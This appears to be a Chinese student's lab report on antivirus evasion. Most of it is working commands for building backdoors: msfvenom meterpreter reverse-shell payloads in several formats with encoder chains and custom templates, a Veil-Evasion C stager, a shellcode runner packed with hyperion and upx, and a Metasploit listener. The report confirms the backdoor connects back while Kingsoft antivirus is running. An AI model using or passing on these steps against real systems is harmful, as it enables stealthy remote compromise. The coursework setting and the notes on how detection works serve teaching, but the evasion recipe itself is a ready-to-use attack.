文章目录
1.实验内容
- 掌握使用msf编码器,veil-evasion等免杀工具
- 掌握通过免杀工具和技巧实现恶意代码免杀
- 在生成payload中添加编码,尝试使用不同的编码方式和不同的payload类型等来进行免杀尝试,尽可能减少payload被杀毒软件检测出的几率
2.基础问题问答
(1)杀软是如何检测出恶意代码的?
- 特征匹配(Signature-based detection):杀软会使用一系列已知的恶意代码特征(也称为病毒签名),与系统中的文件进行比对。如果文件的特征与已知的恶意代码特征匹配,杀软就会标记该文件为恶意。
- 行为分析(Behavioral analysis):杀软会监视程序的行为,检查其是否执行了可能是恶意的操作,比如修改系统文件、向网络发送数据等。如果程序的行为与已知的恶意行为模式相符,杀软就会警告用户。
- 启发式分析(Heuristic analysis):杀软会检查文件的特征和行为,并根据这些规则来判断文件是否可能是恶意的。虽然这种方法可能会产生误报,但可以帮助发现新型的恶意代码。
- 沙箱分析(Sandboxing): 杀软会将可疑的文件或程序在隔离的环境中运行,称为沙箱。在沙箱中,杀软可以观察程序的行为,而不会对实际系统造成危害。通过观察程序在沙箱中的行为,杀软可以确定其是否是恶意的。
(2)免杀是做什么?
“免杀”是指恶意软件开发者采取各种技术手段,使其恶意软件能够绕过杀毒软件的检测和防御,从而成功地在目标系统上执行。免杀技术的发展是为了应对杀毒软件对恶意软件的检测和清除,使得恶意软件更难被察觉和阻止。
(3)免杀的基本方法有哪些?
- 加密和压缩: 将恶意代码进行加密或压缩,使其难以被杀毒软件识别。这样可以隐藏代码的真实目的,使其在传输和存储过程中更难被检测。
- 代码混淆: 对恶意代码进行混淆,通过重命名变量和函数、插入无用代码、控制流程改变等手段,使其难以被静态分析和理解。
- 运行时加载: 在运行时动态加载恶意代码,而不是在静态文件中直接包含。这可以使杀毒软件无法在文件级别检测到恶意代码。
- 反沙箱和反虚拟机技术: 恶意软件可以检测是否在虚拟机或沙箱环境中运行,并采取相应措施以规避检测。这包括检查系统参数、监视虚拟硬件等。
- 多阶段加载: 采用多个阶段加载恶意代码,先下载一个小的启动程序,然后从远程服务器下载其他恶意组件。这样可以减少被杀毒软件检测到的恶意代码量。
- 依赖于合法进程: 将恶意代码注入到合法进程中运行,以模仿合法进程的行为,从而规避杀毒软件的检测。
- 定制化攻击: 针对特定的杀毒软件或安全防御机制进行定制化的攻击,以绕过其检测规则和算法。
3.实验过程
3.1 正确使用msf编码器,veil-evasion,利用shellcode编程等免杀工具或技巧
3.1.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
1.首先我们使用VirusTotal,Virscan来检测实验二中的后门程序,如下图所示,VirusTotal的检出率为58/72,virscan的检测率为27/47。
VirusTotal:一个提供免费的可疑文件分析服务的网站。2004年6月由创始人Hispasec Sistemas创立。使用多种反病毒引擎对您所上传的文件进行检测, 以判断文件是否被病毒, 蠕虫, 木马, 以及各类恶意软件感染。
Virscan:一个非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对用户上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来,从而提供给用户可疑程度的建议。
2.使用Metasploit的编码器尝试使后门程序能够免杀,首先,我们来了解一下Metasploit的编码器有哪些,使用如下命令查看Metasploit的编码器:
3.在了解了Metasploit所有编码器后,我们首先使用x86/shikata_ga_nai对后门程序进行一次编码,使用命令如下:
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.207.137 LPORT=8000 -f exe > 20212419_shiyan3_backdoor.exe
# 其中192.168.207.137为Windows反弹回连Kali的IP地址
# -e <encoder> 指定编码器,可以通过-l encoders查看所有编码器
# -b <list>:设置payload中需要避免的字符
再次使用VirusTotal、检测生成的后门程序,如下图所示,VirusTotal的检出率为56/72,VirScan 21/47,可以发现,仅进行一次编码对于实现免杀几乎没有作用。
4.尝试通过x86/shikata_ga_nai对后门程序多次编码的方法进行免杀,使用命令如下:
windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.207.137 LPORT=8000 -f exe > 20212419_shiyan3_1_backdoor.exe
# 其中192.168.207.137为Windows反弹回连Kali的IP地址
# -e <encoder> 指定编码器,可以通过-l encoders查看所有编码器
# -b <list>:设置payload中需要避免的字符
# -i <count> 指定编码迭代的次数
再次使用VirusTotal、Virscan来检测生成的后门程序,如下图所示,对比编码一次来看,VirusTotal的检出率为55/71(稍微降低),Virscan的检出率为21/47(没有改变),可以发现,进行十次编码对于实现免杀并没有实质性作用。
5.尝试通过不同编码器组合多次编码的方法进行免杀,使用命令如下:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.207.137 LPORT=8000 -f raw | msfvenom -a x64 --platform windows -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/alpha_upper -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/countdown -c 5 -f exe > 20212419_shiyan3_2_backdoor.exe
# 其中192.168.207.137为Windows反弹回连Kali的IP地址
# -e <encoder> 指定编码器,可以通过-l encoders查看所有编码器
# -b <list>:设置payload中需要避免的字符
# -i <count> 指定编码迭代的次数
再次使用VirusTotal、Virscan来检测生成的后门程序,如下图所示,VirusTotal的检出率为54/72,Virscan的检出率为20/47,可以发现,进行混合多次编码对于实现免杀并没有实质性作用。
综合分析上述步骤可以发现,无论是增加编码的次数还是采用混合编码,对于免杀均没有实质性的作用。
通常情况下,运行msfvenom命令时,攻击载荷被嵌入到默认的可执行文件模板中,默认模板文件位于data/templates/templates.exe。虽然这个模板文件时常会更新,但他永远是杀毒软件厂商在创建病毒库时的重点关注对象,所以以上的免杀并没有实质性的作用。
6.更换模板文件,使用微软sysinternals套件中的Process Explorer程序作为自定义可执行程序模块,再测试一下效果,首先下载Process Explorer,链接:https://download.sysinternals.com/files/ProcessExplorer.zip ,解压后我们使用其中的procexp.exe当作模板,命令如下:
msfvenom -p windows/x64/meterpreter/reverse_tcp -x procexp.exe LHOST=192.168.207.137 LPORT=8000 -f exe > 20212419_shiyan3_3_backdoor.exe
# 其中192.168.207.137为Windows反弹回连Kali的IP地址
# -x <path>:使用一个可执行文件当作模板。
使用VirusTotal、Virscan来检测生成的后门程序,如下图所示,VirusTotal的检出率为23/72,Virscan的检出率为9/47,可以发现,更改模板为Process Explorer后杀毒软件检出率有所下降。
7.生成其他文件的格式,看看检出率会不会有所下降。首先试试生成.jar格式的文件,由于要生成jar包,所以payload我们应该使用java/shell_reverse_tcp,更改后的命令如下:
msfvenom -p java/shell_reverse_tcp LHOST=192.168.207.137 LPORT=8000 -f jar > 20212419_shiyan3_4_backdoor.jar
使用VirusTotal、Virscan来检测生成的后门程序,如图六所示,VirusTotal的检出率为32/60,Virscan的检出率为17/47。
8.生成.php格式的文件,由于要生成php文件,所以payload我们应该使用php/meterpreter/reverse_tcp,且文件格式应选择raw,更改后的命令如下:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.207.137 LPORT=8000 -f raw > 20212419_shiyan3_5_backdoor.php
使用VirusTotal、Virscan来检测生成的后门程序,如下图所示,VirusTotal的检出率为24/56,Virscan的检出率为9/47。
9.生成.py格式的文件,由于要生成python文件,所以payload我们应该使用python/meterpreter/reverse_tcp,文件格式不作出选择,若指定参数-f python反而无法达到反弹连接的效果,更改后的命令如下:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.207.137 LPORT=8000 > 20212419_shiyan3_6_backdoor.py
使用VirusTotal、Virscan来检测生成的后门程序,如下图所示,VirusTotal的检出率为,Virscan的检出率为5/47。
3.1.2 veil,加壳工具
1.在kali中安装veil。
按顺序执行下列语句:
apt-get install pip
apt-get install git
veil
进入veil之后根据提示一路执行即可。直到出现下列所示图片即安装成功。
2.安装好veil后,在终端中通过以下过程生成后门程序:
veil # 打开veil
# Main Menu
# 2 tools loaded
# Available Tools:
# 1) Evasion
# 2) Ordnance
Veil>: use evasion # 使用evasion工具
Veil/Evasion>: use c/meterpreter/rev_tcp.py
# Payload Information:
# Name: Pure C Reverse TCP Stager
# Language: c
# Rating: Excellent
# Description: pure windows/meterpreter/reverse_tcp stager, no
# shellcode
# Payload: c/meterpreter/rev_tcp selected
[c/meterpreter/rev_tcp>>]: set LHOST 192.168.207.137
[c/meterpreter/rev_tcp>>]: set LPORT 8000
[c/meterpreter/rev_tcp>>]: generate
[*] Language: c
[*] Payload Module: c/meterpreter/rev_tcp
[*] Executable written to: /var/lib/veil/output/compiled/20212419backdoor.exe
[*] Source code written to: /var/lib/veil/output/source/20212419backdoor.c
[*] Metasploit Resource file written to: /var/lib/veil/output/handlers/20212419backdoor.rc
# Hit enter to continue...
可以发现,可执行文件保存在路径:/var/lib/veil/output/compiled/中。而Metasploit Resource file保存在路径:/var/lib/veil/output/handlers/中。
Metasploit Resource file:Metasploit可以通过资源脚本实现自动化——使用资源脚本可以免去手动设置选项,实现选项的自动化设置,从而节省配置模块选项和攻击载荷所花费的时间。而Metasploit Resource file便是实现自动化所需的文件。使用命令resource 即可自动化执行Metasploit Resource file中的指令。
3.使用VirusTotal、Virscan来检测生成的后门程序,如下图所示,VirusTotal的检出率为46/72,Virscan的检出率为18/47,可以发现,加壳后杀毒软件检出率有所下降(但不明显)
3.1.3 使用C + shellcode编程
1.使用metasploit生成用于反弹连接获取shell的shellcode,并以C语言格式输出,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.207.137 LPORT=8000 -f c > 20212419shiyan3_6_backdoor.c
如下图所示,生成的C语言文件中只有一个名为buf的字符数组,我们还需要给它添加一个主函数使其可以运行。
使用如下命令添加主函数:
cat >>20212419shiyan3_6_backdoor.c<<EOF
int main(){
int (*func)() = (int(*)())buf;
func();
}
EOF
2.将生成的C源代码使用交叉编译的方法编译成Windows的可执行程序,命令如下:
i686-w64-mingw32-gcc 20212419shiyan3_6_backdoor.c -o 20212419shiyan3_6_backdoor.exe
交叉编译工具链的命名规则为:arch [-vendor] [-os] [-(gnu)eabi] arch - 体系架构,如ARM,MIPS,i686 vendor - 工具链提供商 os - 目标操作系统 eabi - 嵌入式应用二进制接口(Embedded Application Binary Interface)
3.使用VirusTotal、Virscan来检测编译后的后门程序,如图十一所示,VirusTotal的检出率为38/68,Virscan的检出率为5/51,可以发现,使用C + Shellcode编程得到的程序检出率有所下降。
3.2 通过组合应用各种技术实现恶意代码免杀
1.首先我们使用C + Shellcode技术生成C源代码文件,在生成命令中使用编码器x86/shikata_ga_nai进行10次编码,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.207.137 LPORT=8000 -f c > 20212419backdoor7.c
2.使用如下命令添加主函数:
cat >>20212419backdoor7.c<<EOF
int main(){
int (*func)() = (int(*)())buf;
func();
}
EOF
3.将生成的C源代码使用交叉编译的方法编译成Windows的可执行程序,命令如下:
i686-w64-mingw32-gcc 20212419backdoor7.c -o 20212419backdoor7.exe
4.使用hyperion给程序加上一层加密壳,命令如下:
wine /usr/share/windows-resources/hyperion/hyperion.exe -v 20212419backdoor7.exe 20212419backdoor7.hyed.exe
5.然后再使用upx给程序加上一层压缩壳,命令如下:
upx 20212419backdoor7.hyed.exe -o 20212419backdoor7.upxed.exe
6.将生成的可执行程序传到Windows上,使用杀毒软件进行扫描,结果没有报毒。
3.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.在Kali上的终端输入命令msfconsole打开msf控制台,等待程序初始化完成后输入以下指令获取Windows的Shell:
use exploit/multi/handler # 进入监听模块
# [*] Using configured payload generic/shell_reverse_tcp
set payload windows/meterpreter/reverse_tcp # 设置攻击载荷为64位Windows的反弹TCP连接
# payload => windows/meterpreter/reverse_tcp
set LHOST 192.168.207.139 # 设置Kali的IP地址,请与后门程序的LHOST参数保持一致
# LHOST => 192.168.207.139
set LPORT 8000 # 设置端口号,请与后门程序的LPORT参数保持一致
# LPORT => 8000
exploit
# [*] Started reverse TCP handler on 192.168.207.139:8000
# 当出现上面的提示时在Windows上打开后门程序
2.在Windows上运行后门程序,可以发现,后门程序成功实现反弹连接,如图十三所示,使用命令net start | findstr “Kingsoft Internet Security”
查看金山毒霸相关服务,可以发现杀毒软件仍在运行,这里我使用了金山毒霸。病毒库和版本号如下图所示。
- 问题1:veil加壳不成功,卡在python的下载。
- 问题1解决方案:先换装kali镜像,我的kali镜像无法正常下载pip和git等需要用在veil下载中。
这里我选用的是此kali-linux-2022.2-installer-amd64.iso这个kali镜像。安装好kali镜像之后,再执行下列语句即可。
按顺序执行下列语句:
apt-get install pip
apt-get install git
veil
进入veil之后根据提示一路执行即可。
- 问题2:使用msf控制台获取Windows的Shell显示绑定失败,导致无法获取windows的Shell。
- 问题2解决方案:因为我更换了kali镜像,所以我的kali的IP地址发生了改变,由原来的192.168.207.137更换到了192.168.207.139。改变了lhost的ip地址问题就得到了解决。
4.学习感悟、思考等
本次实验通过正确使用免杀工具和技巧,包括编码器、加壳工具、自定义Shellcode等,成功实现了恶意代码的免杀效果。通过组合应用多种技术,包括混淆、加密、动态加载等手段,使恶意代码在杀软环境下难以被检测和拦截。
在进行上述实验过程中,我深刻体会到了恶意代码免杀的复杂性和挑战性。首先,了解并熟练运用各种免杀工具和技巧是至关重要的。Metasploit ,Veil-Evasion等工具的正确使用,以及对Shellcode编写的熟练掌握,为实现免杀打下了基础。
此外,组合多种技术以实现免杀是必要的。单一的免杀技巧可能会被杀软绕过,而组合应用编码器、加壳工具、自定义Shellcode等多种技术,则能增加恶意代码免杀的成功率。
恶意代码免杀不仅需要技术实力,还需要对安全环境有深入的理解和分析能力。只有不断学习和实践,才能在安全领域中更加游刃有余地应对各种挑战。
参考资料
- 解决Linux下 “正在读取软件包列表… 完成 …E:无法定位软件包 xx-xx-xxx” 问题
- kali中签名出错:E: 仓库 “http://mirrors.ustc.edu.cn/kali kali-rolling InRelease” 没有数字签名。
- …
附件: https://gitee.com/wildlinux/NetSec/attach_files